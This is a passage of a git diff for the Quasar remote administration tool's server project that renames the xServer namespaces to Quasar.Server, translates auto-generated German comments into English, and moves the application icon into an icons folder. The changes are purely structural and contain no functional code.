xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmUpdate : Form { diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs index 513ad745..b1bf1dea 100644 --- a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs +++ b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmUploadAndExecute { diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.cs b/Quasar.Server/Forms/FrmUploadAndExecute.cs index 099566fd..de67e889 100644 --- a/Quasar.Server/Forms/FrmUploadAndExecute.cs +++ b/Quasar.Server/Forms/FrmUploadAndExecute.cs @@ -1,9 +1,9 @@ using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmUploadAndExecute : Form { diff --git a/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs index 04610c7e..0bdf6854 100644 --- a/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmVisitWebsite { diff --git a/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs index f65174fb..3831bec0 100644 --- a/Quasar.Server/Forms/FrmVisitWebsite.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmVisitWebsite : Form { diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs index 5b206a2b..41bc859c 100644 --- a/Quasar.Server/Models/FileTransfer.cs +++ b/Quasar.Server/Models/FileTransfer.cs @@ -1,7 +1,7 @@ using System; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Models +namespace Quasar.Server.Models { public class FileTransfer : IEquatable { diff --git a/Quasar.Server/Program.cs b/Quasar.Server/Program.cs index 7c679c07..928cc56b 100644 --- a/Quasar.Server/Program.cs +++ b/Quasar.Server/Program.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Forms; +using Quasar.Server.Forms; -namespace xServer +namespace Quasar.Server { internal static class Program { @@ -14,4 +14,4 @@ private static void Main() Application.Run(new FrmMain()); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs index c2e984d2..d4bf09e9 100644 --- a/Quasar.Server/Properties/Resources.Designer.cs +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Server.Properties { using System; @@ -39,7 +39,7 @@ internal class Resources { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xServer.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; diff --git a/Quasar.Server/Properties/Settings.Designer.cs b/Quasar.Server/Properties/Settings.Designer.cs index c1f33897..7c067311 100644 --- a/Quasar.Server/Properties/Settings.Designer.cs +++ b/Quasar.Server/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Server.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index d0f8406c..2a3eb3a8 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -8,18 +8,18 @@ {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D} WinExe Properties - xServer + Quasar.Server Quasar v4.0 512 Client - xServer.Program + Quasar.Server.Program - Quasar_Server.ico + icons\Quasar_Server.ico app.manifest @@ -111,18 +111,18 @@ WordTextBox.cs - - - - - - - - - - - - + + + + + + + + + + + + @@ -414,9 +414,6 @@ True - - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} diff --git a/Quasar.Server/Quasar_Server.ico b/Quasar.Server/icons/Quasar_Server.ico similarity index 100% rename from Quasar.Server/Quasar_Server.ico rename to Quasar.Server/icons/Quasar_Server.ico